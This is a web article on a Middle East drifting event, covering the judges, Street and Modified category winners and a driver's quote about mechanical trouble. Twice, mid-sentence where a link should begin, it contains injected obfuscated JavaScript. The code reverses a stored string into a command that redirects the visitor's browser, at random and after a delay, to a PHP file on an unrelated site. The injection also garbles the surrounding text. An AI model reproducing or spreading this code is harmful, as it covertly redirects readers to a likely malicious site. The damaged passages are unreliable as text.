Judges Sam Zian and Walid Amir were joined by special guest, and Chief Judge for Round 1, Darren McNamara from Ireland. D-Mac is a professional drifter who has competed internationally in the Irish Prodrift series, British D1 Great Britain series (now EDC) and in the American Formula D series.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/the-uaes-newest-drift-machine-toyota-86-rocket-bunny/” target=”_blank”>Ahmed Al Almeri, winner of last season, fell foul of some mechanical issues and failed to qualify.
‘I was looking forward to protecting my title as Drift King and to showcase our new Toyota Emirates Drifting Team car, the first of its kind in the region. Unfortunately we were faced with technical difficulties that prevented us from qualifying. This car is still in its R&D phase but will be ready for the next round‘.
The competition got underway just as darkness began to fall starting with the Street category. Jihad Hassan brought his brand new Toyota 86 in to third place and was also drifting in his Nissan S14 in the Modified Category. Unfortunately, he retired from the modified class with a broken steering arm or he may have been a podium contender in both categories.
Emirati drifter, Sultan Alqassimi, brought his evil looking CLK 63 Black Series in to second place and also took the time out to please the crowd with some entertaining driving during the intervals.
It was Mohammad Al Asmi (AKA ‘Mambo’) who clinched the top spot in the street category drifting his new and completely stock 86. With two, almost identical, Toyota 86’s in the top three it is a clear indication that we should $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/toyota-86-dont-believe-the-hype-its-that-good-dubai/” target=”_blank”>believe the hype.
The battle in the Modified Category narrowed down to three main contenders. The level of skill in this category was surprising considering drifting is still in its infancy here in the Middle East but it was Nawaf Al Kalbani who brought the R32 Skyline in to third place.
Second place went to new comer Omar Sammour from Jordan in his black Nissan which, judging by the sound of his 350Z, I think he may have been hiding a supercharger under the bonnet.
Modified Category winner was Salman Abdalla from Bahrain in his beautifully prepared Nissan S14. Salmon has impressed me every time I have seen him in action and he must surely be contemplating moving up to the Pro Class for next year.
